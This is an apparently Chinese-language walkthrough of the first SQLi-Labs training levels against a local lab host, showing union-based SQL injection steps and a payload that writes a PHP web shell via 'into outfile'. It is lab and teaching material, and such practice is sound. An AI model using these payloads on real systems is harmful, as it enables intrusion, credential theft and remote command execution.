这10关都是GET型的,包括了union注入、报错注入、布尔盲注和时间盲注,虽然包含了几种闭合方式,但是没有涉及到过滤和绕过,是最基础的关卡。

    1、原来每关源代码同目录的result.txt中都会记录每次输入的payload
    image.png

    2、闯关的时候发现一个神奇的情况,如果字段本身是int类型,并且在查询语句中该字段的值被双引号或者单引号包裹,则只要值是以正确数字开头的,后面接多余的字符还是可以返回正确的查询结果,甚至单引号中可以包含双引号,双引号中可以包含单引号。如下图所示:image.png
    首先输入正确的url:http://192.168.10.133/sqli/Less-1/?id=1
    可以看见正常回显用户名和用户密码
    image.png
    接着输入:http://192.168.10.133/sqli/Less-1/?id=1
    可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关是闭合单引号
    image.png
    这关使用union注入,在后面加上?id=1’ order by 3— s 和?id=1’ order by 4— s
    image.png
    判断字段回显
    image.png
    判断确定当前数据库
    image.png
    爆出当前数据库内的所有表名
    image.png
    爆出当前数据库user表的所有列名
    image.png
    爆出当前数据库user表所有username和password
    image.png
    爆出当前数据库user表所有username和password
    image.png

    1. http://192.168.10.133/sqli/Less-1/?id=-1' union select 1,2,'<?php assert($_POST[cmd]);?>' into outfile 'C:/101.php'-- s #写入shell
    2. http://192.168.10.133/sqli/Less-1/?id=1' order by 3-- s
    3. http://192.168.10.133/sqli/Less-1/?id=1' order by 4-- s
    4. #确定哪个字段有回显
    5. http://192.168.10.133/sqli/Less-1/?id=-1' union select 1,2,3-- s
    6. http://192.168.10.133/sqli/Less-1/
    7. http://192.168.10.133/sqli/Less-1/